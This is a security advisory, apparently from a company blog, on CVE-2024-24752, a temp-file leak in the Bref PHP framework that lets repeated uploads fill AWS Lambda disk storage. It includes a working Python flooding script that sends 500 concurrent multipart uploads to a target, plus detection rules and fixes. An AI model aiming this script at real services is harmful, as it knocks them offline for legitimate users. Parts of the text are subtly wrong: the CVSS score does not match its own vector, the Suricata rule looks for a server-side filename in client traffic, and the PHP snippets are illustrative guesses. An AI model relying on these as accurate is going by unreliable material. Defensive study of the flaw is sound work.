CVE-2024-24752

Executive Summary

CVE-2024-24752 is a denial-of-service (DoS) vulnerability in the Bref serverless PHP framework for AWS Lambda. When using the Event-Driven Function runtime with a RequestHandlerInterface handler, multipart HTTP requests are parsed and uploaded files are saved to /tmp with filenames like bref_upload_*. The framework fails to delete these temporary files after processing, allowing an attacker to fill the Lambda instance’s ephemeral storage (512 MB to 10 GB) by sending repeated multipart requests. This can cause subsequent requests to fail due to disk exhaustion, effectively denying service to legitimate users. The vulnerability is patched in version 2.1.13.

Risk: Medium (CVSS 6.5). Exploitation requires no authentication and can be performed remotely. The impact is limited to availability (disk exhaustion) with no confidentiality or integrity loss.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Affects only the vulnerable component.
• Confidentiality (C): None (N) – No data exposure.
• Integrity (I): None (N) – No data modification.
• Availability (A): Low (L) – Disk exhaustion degrades service.

Threat Level: Medium. The vulnerability is easy to exploit but only causes temporary denial of service. The Lambda function will recover after the attacker stops sending requests (disk is ephemeral).

Deep Dive & Mechanics

Bref converts AWS Lambda events (API Gateway, ALB, etc.) into PSR-7 request objects. For multipart/form-data requests, it uses a custom parser that extracts each part. When a part contains a file, the parser writes the file to /tmp with a random name starting with bref_upload_. The intended behavior is to mimic PHP’s $_FILES handling, but PHP automatically cleans up temporary files after the request. Bref does not.

The vulnerability lies in the Bref\Event\Http\Psr7Bridge class (or similar). The parser creates temporary files but never calls unlink() or fclose() in a way that removes them. Since Lambda’s /tmp is shared across invocations of the same execution environment (cold start), an attacker can fill it over multiple requests.

Attack Flow:

1. Attacker sends a multipart POST request with a file (e.g., 1 MB).
2. Bref saves the file to /tmp/bref_upload_XXXXXX.
3. The request is processed, but the file remains.
4. Attacker repeats step 1-3 until /tmp is full (e.g., 512 MB = ~500 requests).
5. Subsequent requests fail because disk writes (including logs, sessions) fail.

Vulnerable vs. Patched Code

Vulnerable (pre-2.1.13):

// In Psr7Bridge.php or similar
$tmpFile = tempnam(sys_get_temp_dir(), 'bref_upload_');
move_uploaded_file($part->getStream()->getMetadata('uri'), $tmpFile);
// No cleanup after request

Patched (2.1.13):

// In Psr7Bridge.php
$tmpFile = tempnam(sys_get_temp_dir(), 'bref_upload_');
move_uploaded_file($part->getStream()->getMetadata('uri'), $tmpFile);
register_shutdown_function(function () use ($tmpFile) {
    if (file_exists($tmpFile)) {
        unlink($tmpFile);
    }
});
// Or immediate cleanup after processing

The patch adds a shutdown function or immediate deletion to ensure temporary files are removed.

Exploitation & Lab Setup

Red Team (Attack Simulation)

Prerequisites:

• A target Lambda function using Bref with Event-Driven Function runtime and RequestHandlerInterface.
• Network access to the function’s endpoint (e.g., API Gateway URL).

Exploit Script (Python):

import requests
import threading

TARGET_URL = "https://your-lambda-url.execute-api.region.amazonaws.com/prod/upload"
FILE_CONTENT = b"A" * 1024 * 1024  # 1 MB file

def send_multipart():
    files = {'file': ('test.bin', FILE_CONTENT, 'application/octet-stream')}
    try:
        r = requests.post(TARGET_URL, files=files, timeout=10)
        print(f"Sent, status: {r.status_code}")
    except Exception as e:
        print(f"Error: {e}")

# Launch 500 threads to fill 512 MB /tmp
threads = []
for _ in range(500):
    t = threading.Thread(target=send_multipart)
    t.start()
    threads.append(t)

for t in threads:
    t.join()

Expected Outcome: After ~500 requests, the Lambda function will start returning 500 errors or timeouts due to disk exhaustion.

Blue Team (Detection & Mitigation)

Detection:

• Monitor Lambda function errors (e.g., DiskFull, No space left on device).
• Track /tmp usage via custom metrics (e.g., CloudWatch agent).
• Alert on high number of multipart requests from a single IP.

Mitigation:

• Upgrade to Bref >= 2.1.13.
• Implement rate limiting on the API Gateway or WAF.
• Set a low upload_max_filesize in PHP configuration.
• Use a custom middleware to clean /tmp after each request.

Indicators of Compromise (IOCs)

• File Artifacts: Files named bref_upload_* in /tmp that persist after request completion.
• Log Patterns: Lambda logs showing No space left on device or Disk quota exceeded.
• Network: High volume of multipart POST requests from a single source IP.
• CloudWatch Metrics: Spike in Invocations with Errors and Throttles.

Detection Engineering

YARA Rule

rule CVE_2024_24752_Bref_Temp_File_Leak {
    meta:
        description = "Detects Bref temporary files left in /tmp"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-24752"
    strings:
        $bref_prefix = "bref_upload_"
    condition:
        $bref_prefix
}

Sigma Rule

title: Bref Temporary File Leak Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects creation of Bref temporary files in /tmp
author: Valters IT
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|startswith: '/tmp/bref_upload_'
    condition: selection
falsepositives:
    - Legitimate Bref usage (should be cleaned up)
level: medium

Suricata Rule

alert http any any -> $EXTERNAL_NET any (msg:"CVE-2024-24752 Bref Multipart File Upload Attempt"; flow:to_server; content:"multipart/form-data"; http_content_type; content:"filename="; http_client_body; pcre:"/bref_upload_/R"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate:

1. Upgrade Bref to version 2.1.13 or later.
2. If upgrade is not possible, implement a custom middleware that deletes temporary files after request processing:

   $app->add(function ($request, $handler) {
       $response = $handler->handle($request);
       array_map('unlink', glob('/tmp/bref_upload_*'));
       return $response;
   });
   

Long-term:

• Monitor Lambda disk usage with CloudWatch custom metrics.
• Implement request rate limiting at the API Gateway level.
• Use a WAF to block excessive multipart requests.
• Consider using S3 for file uploads instead of /tmp.

Valters IT – Securing serverless, one patch at a time.